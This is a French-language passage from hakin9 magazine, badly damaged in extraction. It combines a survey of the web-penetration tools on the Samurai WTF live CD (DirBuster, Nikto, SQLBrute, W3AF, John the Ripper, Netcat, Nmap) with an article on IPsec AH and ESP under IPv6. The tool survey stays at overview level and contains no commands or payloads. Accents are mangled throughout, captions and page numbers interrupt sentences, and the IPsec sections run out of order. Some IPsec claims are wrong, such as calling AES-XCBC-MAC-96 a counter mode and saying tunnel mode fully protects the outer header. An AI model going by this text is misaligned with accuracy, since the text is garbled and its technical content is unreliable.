DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

